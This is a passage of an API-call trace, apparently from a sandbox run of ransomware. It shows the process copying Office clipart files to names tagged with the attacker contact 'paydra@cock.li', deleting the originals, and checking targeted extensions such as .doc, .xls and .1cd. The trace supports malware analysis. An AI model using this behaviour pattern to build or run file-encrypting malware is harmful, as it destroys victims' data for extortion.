[0052.610] SetEndOfFile (hFile=0x160) returned 1 [0052.611] CloseHandle (hObject=0x160) returned 1 [0052.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0052.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0052.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0052.611] lstrlenW (lpString=".doc") returned 4 [0052.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.611] lstrlenW (lpString=".docx") returned 5 [0052.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.611] lstrlenW (lpString=".pdf") returned 4 [0052.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.611] lstrlenW (lpString=".xls") returned 4 [0052.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.612] lstrlenW (lpString=".xlsx") returned 5 [0052.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.612] lstrlenW (lpString=".ppt") returned 4 [0052.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0052.612] lstrlenW (lpString=".zip") returned 4 [0052.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.612] lstrlenW (lpString=".rar") returned 4 [0052.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.612] lstrlenW (lpString=".bz2") returned 4 [0052.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.612] lstrlenW (lpString=".7z") returned 3 [0052.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0052.612] lstrlenW (lpString=".dbf") returned 4 [0052.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0052.612] lstrlenW (lpString=".1cd") returned 4 [0052.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0052.612] lstrlenW (lpString=".jpg") returned 4 [0052.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.613] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.613] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.613] GetLastError () returned 0x0 [0052.613] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x1df4, lpOverlapped=0x0) returned 1 [0052.615] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1e00, lpOverlapped=0x0) returned 1 [0052.616] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.616] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.616] SetEndOfFile (hFile=0x190) returned 1 [0052.616] CloseHandle (hObject=0x190) returned 1 [0052.616] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.616] SetEndOfFile (hFile=0x160) returned 1 [0052.617] CloseHandle (hObject=0x160) returned 1 [0052.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0052.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0052.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0052.617] lstrlenW (lpString=".doc") returned 4 [0052.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.617] lstrlenW (lpString=".docx") returned 5 [0052.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.618] lstrlenW (lpString=".pdf") returned 4 [0052.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.618] lstrlenW (lpString=".xls") returned 4 [0052.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.618] lstrlenW (lpString=".xlsx") returned 5 [0052.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.618] lstrlenW (lpString=".ppt") returned 4 [0052.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0052.618] lstrlenW (lpString=".zip") returned 4 [0052.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.618] lstrlenW (lpString=".rar") returned 4 [0052.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.618] lstrlenW (lpString=".bz2") returned 4 [0052.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.618] lstrlenW (lpString=".7z") returned 3 [0052.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0052.618] lstrlenW (lpString=".dbf") returned 4 [0052.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0052.618] lstrlenW (lpString=".1cd") returned 4 [0052.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0052.618] lstrlenW (lpString=".jpg") returned 4 [0052.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.619] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.619] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.619] GetLastError () returned 0x0 [0052.619] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x212c, lpOverlapped=0x0) returned 1 [0052.621] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x2130, lpOverlapped=0x0) returned 1 [0052.622] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.622] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.622] SetEndOfFile (hFile=0x190) returned 1 [0052.622] CloseHandle (hObject=0x190) returned 1 [0052.622] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.622] SetEndOfFile (hFile=0x160) returned 1 [0052.623] CloseHandle (hObject=0x160) returned 1 [0052.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 1 [0052.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0052.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0052.623] lstrlenW (lpString=".doc") returned 4 [0052.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.624] lstrlenW (lpString=".docx") returned 5 [0052.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.624] lstrlenW (lpString=".pdf") returned 4 [0052.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.624] lstrlenW (lpString=".xls") returned 4 [0052.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.624] lstrlenW (lpString=".xlsx") returned 5 [0052.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.624] lstrlenW (lpString=".ppt") returned 4 [0052.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0052.624] lstrlenW (lpString=".zip") returned 4 [0052.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.624] lstrlenW (lpString=".rar") returned 4 [0052.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.624] lstrlenW (lpString=".bz2") returned 4 [0052.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.624] lstrlenW (lpString=".7z") returned 3 [0052.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0052.624] lstrlenW (lpString=".dbf") returned 4 [0052.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0052.624] lstrlenW (lpString=".1cd") returned 4 [0052.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 63 [0052.624] lstrlenW (lpString=".jpg") returned 4 [0052.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.625] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.625] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.625] GetLastError () returned 0x0 [0052.625] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0052.627] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0052.627] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.627] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.628] SetEndOfFile (hFile=0x190) returned 1 [0052.628] CloseHandle (hObject=0x190) returned 1 [0052.628] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.628] SetEndOfFile (hFile=0x160) returned 1 [0052.629] CloseHandle (hObject=0x160) returned 1 [0052.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0052.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0052.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0052.629] lstrlenW (lpString=".doc") returned 4 [0052.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.629] lstrlenW (lpString=".docx") returned 5 [0052.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.629] lstrlenW (lpString=".pdf") returned 4 [0052.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.629] lstrlenW (lpString=".xls") returned 4 [0052.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.629] lstrlenW (lpString=".xlsx") returned 5 [0052.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.629] lstrlenW (lpString=".ppt") returned 4 [0052.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0052.630] lstrlenW (lpString=".zip") returned 4 [0052.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.630] lstrlenW (lpString=".rar") returned 4 [0052.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.630] lstrlenW (lpString=".bz2") returned 4 [0052.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.630] lstrlenW (lpString=".7z") returned 3 [0052.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0052.630] lstrlenW (lpString=".dbf") returned 4 [0052.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0052.630] lstrlenW (lpString=".1cd") returned 4 [0052.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0052.630] lstrlenW (lpString=".jpg") returned 4 [0052.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.630] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.630] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0052.631] GetLastError () returned 0x0 [0052.631] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0052.632] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0052.633] ReadFile (in: hFile=0x160, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.633] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.633] SetEndOfFile (hFile=0x190) returned 1 [0052.633] CloseHandle (hObject=0x190) returned 1 [0052.633] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.634] SetEndOfFile (hFile=0x160) returned 1 [0053.164] CloseHandle (hObject=0x160) returned 1 [0053.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0053.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0053.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0053.184] lstrlenW (lpString=".doc") returned 4 [0053.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.184] lstrlenW (lpString=".docx") returned 5 [0053.184] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.184] lstrlenW (lpString=".pdf") returned 4 [0053.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.184] lstrlenW (lpString=".xls") returned 4 [0053.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.184] lstrlenW (lpString=".xlsx") returned 5 [0053.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.184] lstrlenW (lpString=".ppt") returned 4 [0053.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0053.184] lstrlenW (lpString=".zip") returned 4 [0053.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.184] lstrlenW (lpString=".rar") returned 4 [0053.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.185] lstrlenW (lpString=".bz2") returned 4 [0053.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.185] lstrlenW (lpString=".7z") returned 3 [0053.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0053.185] lstrlenW (lpString=".dbf") returned 4 [0053.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0053.185] lstrlenW (lpString=".1cd") returned 4 [0053.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0053.185] lstrlenW (lpString=".jpg") returned 4 [0053.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.185] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=4924) returned 1 [0053.185] CloseHandle (hObject=0x214) returned 1 [0053.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0053.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0053.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.187] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.187] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0053.187] GetLastError () returned 0x0 [0053.187] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x133c, lpOverlapped=0x0) returned 1 [0053.188] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1340, lpOverlapped=0x0) returned 1 [0053.189] ReadFile (in: hFile=0x214, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.189] WriteFile (in: hFile=0x210, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.189] SetEndOfFile (hFile=0x210) returned 1 [0053.190] CloseHandle (hObject=0x210) returned 1 [0053.190] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.190] SetEndOfFile (hFile=0x214) returned 1 [0053.190] CloseHandle (hObject=0x214) returned 1 [0053.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0053.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0053.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0053.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0053.191] lstrlenW (lpString=".doc") returned 4 [0053.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.191] lstrlenW (lpString=".docx") returned 5 [0053.191] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.191] lstrlenW (lpString=".pdf") returned 4 [0053.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.191] lstrlenW (lpString=".xls") returned 4 [0053.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.191] lstrlenW (lpString=".xlsx") returned 5 [0053.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.191] lstrlenW (lpString=".ppt") returned 4 [0053.191] lstrcmpiW (lpString1=".ppt", 